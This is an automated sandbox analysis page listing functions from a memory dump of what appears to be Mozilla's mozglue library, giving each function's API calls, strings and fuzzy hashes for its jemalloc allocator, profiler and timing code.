Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: f33eed394432f562d27b144417f1e3d363e75b7955fe7bdeffaa8ac863237af4
Instruction ID: 045dfc21c42a759902251976b0723e95bf879f8014ede9b6a515ed050b4ee3fb
Opcode Fuzzy Hash: f33eed394432f562d27b144417f1e3d363e75b7955fe7bdeffaa8ac863237af4
Instruction Fuzzy Hash: 64A2AE71A0A7218FD704CF18C850615BBF6FB86728F29D66DE869DBB91C771E840CB81

Function 6C96C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C96C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C96C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C96C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C96CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C96DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C96DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C96DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C96E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C96E472

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: fc87534e00723e23cc59e581146fdfbc74bfe287e197aa7c78e3382df8ba8cf6
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: A733B072E0021ACFDB04CFA9C8806ADB7F2FF49310F294269D955ABB95D731E945CB90

Function 6C91FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E7B8), ref: 6C91FF81
LeaveCriticalSection.KERNEL32(6C98E7B8), ref: 6C92022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C920240
EnterCriticalSection.KERNEL32(6C98E768), ref: 6C92025B
LeaveCriticalSection.KERNEL32(6C98E768), ref: 6C92027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C91FE99, 6C91FEB7, 6C91FED3, 6C920DB8, 6C920DD3, 6C9219B4
<jemalloc>, xrefs: 6C920D62, 6C920D76, 6C920DA7
: (malloc) Error in VirtualFree(), xrefs: 6C920D67, 6C920D7B, 6C920DAC

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 93901ad3f9f0a04f94bc28d4d564f45a4732605d0ed43d4ba974958c0191414e
Instruction ID: 28016fc7f0afceefb1e202ee5ca056400c3b15b15591a0ac626d5895a90993d9
Opcode Fuzzy Hash: 93901ad3f9f0a04f94bc28d4d564f45a4732605d0ed43d4ba974958c0191414e
Instruction Fuzzy Hash: 7BC2E371A167418FD714CF28C890716BBE1FF86328F28C66DE4A98B799D775E841CB80

Function 6C96E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C96E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C96EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C96F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C96F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C970E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C970E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C970EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C970ED4

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 9da90b0068770ff232f353a0620d5f477ff6617ed9b59de88ab78a930599d1c9
Instruction ID: bc9f0e1f13cfd9f625d22ff303abcd0670a9f99ad76a76cb0fcc45237828f87d
Opcode Fuzzy Hash: 9da90b0068770ff232f353a0620d5f477ff6617ed9b59de88ab78a930599d1c9
Instruction Fuzzy Hash: E063AD71E0124ACFCB14CFA8C8906EDFBB2FF89314F298269D855AB745D731A945CB90

Function 6C943E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C967770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C943E7D,?,?,?,6C943E7D,?,?), ref: 6C96777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C943F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C943F5C
VerSetConditionMask.NTDLL ref: 6C943F8D
VerSetConditionMask.NTDLL ref: 6C943F99
VerSetConditionMask.NTDLL ref: 6C943FA0
VerSetConditionMask.NTDLL ref: 6C943FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C943FB4

Strings

nvd3d9wrap.dll, xrefs: 6C944466
nvinit.dll, xrefs: 6C944479

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: cb35205ad7e1f45e779a9241810a2e1dc48eb5fe1c4d5a00c57b92f6c644744c
Instruction ID: ebba720d40181b929002579d6924ca01daca066d54b73833f99822ee4e98bfe4
Opcode Fuzzy Hash: cb35205ad7e1f45e779a9241810a2e1dc48eb5fe1c4d5a00c57b92f6c644744c
Instruction Fuzzy Hash: BA52D271615B889FD710DF348890ABBB7FAAF65204F14496DD492CBB42DB34E90ACB60

Function 6C92ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C92EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C92EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C931695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9316B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C931770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C931A3E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 0dd7131202d5489853b7b006dc11c455767510405eff35f32f711416083dcdf5
Instruction ID: 030d632cc53a1787208e380180dff12f9713fb8580ec3105793318232c26a42a
Opcode Fuzzy Hash: 0dd7131202d5489853b7b006dc11c455767510405eff35f32f711416083dcdf5
Instruction Fuzzy Hash: D1B32B71E0422ACFCB14CFA8C890AADB7B2FF49304F1591A9D459AB755D730AD86CF90

Function 6C91FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E7B8), ref: 6C91FF81
LeaveCriticalSection.KERNEL32(6C98E7B8), ref: 6C92022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C920240
EnterCriticalSection.KERNEL32(6C98E768), ref: 6C92025B
LeaveCriticalSection.KERNEL32(6C98E768), ref: 6C92027B

Strings

MOZ_CRASH(), xrefs: 6C920CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C91FE99, 6C91FEB7, 6C91FED3, 6C920DB8, 6C920DD3, 6C9219B4, 6C921A10

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 11a5174fb984674b192a868b4e53f83176787c0de756a656302e8b1800541ce7
Instruction ID: 7d2cb28aed8b16f50ce75138fbf50641dace11b9088c6cfa2d4961edd4c04cae
Opcode Fuzzy Hash: 11a5174fb984674b192a868b4e53f83176787c0de756a656302e8b1800541ce7
Instruction Fuzzy Hash: 7EB2C0716157418FD714CF28C490716BBE5BF86328F28C66DE8AA8FB99D779D840CB80

Function 6C955600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C955E79, 6C955E8F
schema, xrefs: 6C95606D
data, xrefs: 6C956131
expected a Count entry, xrefs: 6C955AC3
ProfileBuffer parse error: %s, xrefs: 6C955AC8, 6C955CBB
expected a Time entry, xrefs: 6C955CB6

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2c1aae01929dad7cc0ec34c77b80f10b576a35b81180d216e2e0a203d56b95bc
Instruction ID: bdd199f7206a4417abb80d1a65c85f67adfe8d6565f12dfa3a24a7548e8273c9
Opcode Fuzzy Hash: 2c1aae01929dad7cc0ec34c77b80f10b576a35b81180d216e2e0a203d56b95bc
Instruction Fuzzy Hash: B9927CB1A093418FD724CF28C49079ABBF1BFD9308F54891DE59A9B751DB30E819CB92

Function 6C952E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C952ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C952EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C952F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C953214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C953242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9536BF

Strings

get , xrefs: 6C953205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C95378D
set , xrefs: 6C9536EC

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: f86f29b6ef5e40301a7bb59fcee3282fc13ed9d827a549d35a7697733407c7a7
Instruction ID: b25fc610076a87c76ea9fed43ec81746568bff01c99e48338e3d10834f22f01e
Opcode Fuzzy Hash: f86f29b6ef5e40301a7bb59fcee3282fc13ed9d827a549d35a7697733407c7a7
Instruction Fuzzy Hash: 55327BB16083818FD724CF24C4806AEBBE6BFD9318F948C1DE59987751DB30E95ACB52

Function 6C947E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C947E88
name, xrefs: 6C947ECF, 6C948335
schema, xrefs: 6C9481E3, 6C948311
data, xrefs: 6C948280, 6C9483E1

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 54b93aa0bc8ac17bf80260fc421c8aec2b188f272e1dc624ce850fc88045b7bb
Instruction ID: d1159602d9e5ae963aee59a4b7a0c6b2ade5243b0f475f6acf85103b193a3dbf
Opcode Fuzzy Hash: 54b93aa0bc8ac17bf80260fc421c8aec2b188f272e1dc624ce850fc88045b7bb
Instruction Fuzzy Hash: 20E17FB1B053448BC710CF68884166BF7EABFA5314F148E2DE899E7B90DB74DD098B91

Function 6C92D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D4F2
LeaveCriticalSection.KERNEL32(6C98E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D50B

Part of subcall function 6C90CFE0: EnterCriticalSection.KERNEL32(6C98E784), ref: 6C90CFF6
Part of subcall function 6C90CFE0: LeaveCriticalSection.KERNEL32(6C98E784), ref: 6C90D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D52E
EnterCriticalSection.KERNEL32(6C98E7DC), ref: 6C92D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C92D6A6
LeaveCriticalSection.KERNEL32(6C98E7DC), ref: 6C92D712
LeaveCriticalSection.KERNEL32(6C98E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C93D1C5), ref: 6C92D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C92D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C92D82C
<jemalloc>, xrefs: 6C92D827

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 7210360d2c79e554c22222f92b3350e5ff92f50c155ee0f4cb4753d435148032
Instruction ID: 9de90f3008752883e2005c71a042f13a9e304f815150b5451b616d9a89ea24a8
Opcode Fuzzy Hash: 7210360d2c79e554c22222f92b3350e5ff92f50c155ee0f4cb4753d435148032
Instruction Fuzzy Hash: CF91C672A197018FD714CF28C49072A77E5EF9A714F14492ED5DAC7B89D738E844CB82

Function 6C925E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C925EDB
memset.VCRUNTIME140(6C967765,000000E5,55CCCCCC), ref: 6C925F27
LeaveCriticalSection.KERNEL32(?), ref: 6C925FB2
memset.VCRUNTIME140(6C967765,000000E5,98C09015), ref: 6C9261F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C927652

Strings

MOZ_CRASH(), xrefs: 6C927BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C927BCD, 6C927C1F, 6C927C34, 6C9280FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C92730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9272E3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9272F8

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: f05432ec283626a0a158e2959fb99bb244ff47a9254d30abff721adf702bec46
Instruction ID: 130f07d520e5957ddecf78ab534a9b891b0933e3ccf32a22107f0cc5038690ae
Opcode Fuzzy Hash: f05432ec283626a0a158e2959fb99bb244ff47a9254d30abff721adf702bec46
Instruction Fuzzy Hash: 36337F716167018FC308CF28C590615FBE6BF85328F29C7ADE5A98BBA9D735E841CB41

Function 6C903480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C903492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C9034A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C9034EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C90350E
__Init_thread_footer.LIBCMT ref: 6C903522
__aulldiv.LIBCMT ref: 6C903552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C90357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C903592

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C903508
kernel32.dll, xrefs: 6C9034EA

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 0ae0dda5ee4677d352ee806d899bc0f731a2b71073a073d6bced9b976b344599
Instruction ID: 8bbbd90abaea208ead51f05922a684e3a3528c50eedea00cf4c040aed512fc9d
Opcode Fuzzy Hash: 0ae0dda5ee4677d352ee806d899bc0f731a2b71073a073d6bced9b976b344599
Instruction Fuzzy Hash: 1231A471B062099BDF04DFB5C858EAE77B9FB47308F240919E509E7660DB75D904CB60

Function 6C964EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C964EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C964F2E
moz_xmalloc.MOZGLUE ref: 6C964F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C964F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9652B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9652E6
Sleep.KERNEL32(00000010), ref: 6C965481
free.MOZGLUE(?), ref: 6C965498

Strings

(, xrefs: 6C965250

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: edaf0973624616f512a8aa91ac2f17885335b6dc4dea6b19bddb0d0c7861e5b5
Instruction ID: 94302eea5232eba7ec94ba4595c72fe5b16ef9a368931477d0db5781f896b096
Opcode Fuzzy Hash: edaf0973624616f512a8aa91ac2f17885335b6dc4dea6b19bddb0d0c7861e5b5
Instruction Fuzzy Hash: 18F1E371A19B008FD716CF39C85062BB7F9AFD6284F158B2EF846A7A91DB31D441CB41

Function 6C917810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E744), ref: 6C917885
LeaveCriticalSection.KERNEL32(6C98E744), ref: 6C9178A5
EnterCriticalSection.KERNEL32(6C98E784), ref: 6C9178AD
LeaveCriticalSection.KERNEL32(6C98E784), ref: 6C9178CD
EnterCriticalSection.KERNEL32(6C98E7DC), ref: 6C9178D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9178E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C91795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C9179BB
LeaveCriticalSection.KERNEL32(?), ref: 6C917BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C917C82
LeaveCriticalSection.KERNEL32(6C98E7DC), ref: 6C917CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C917DAF

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: 52180b32fe9fbef433a031f4ed9b02dd3aa5216299fc0515995ffe0e3995c38d
Instruction ID: 3c4867e8138d699ca8ece82d826fa5fdd38e9c1770b3cdbcd8e34769f9dba901
Opcode Fuzzy Hash: 52180b32fe9fbef433a031f4ed9b02dd3aa5216299fc0515995ffe0e3995c38d
Instruction Fuzzy Hash: 9E028135A0521E8FDB54CF19C985799B7B5FF88318F2582AAD809A7B11D730EE90CF80

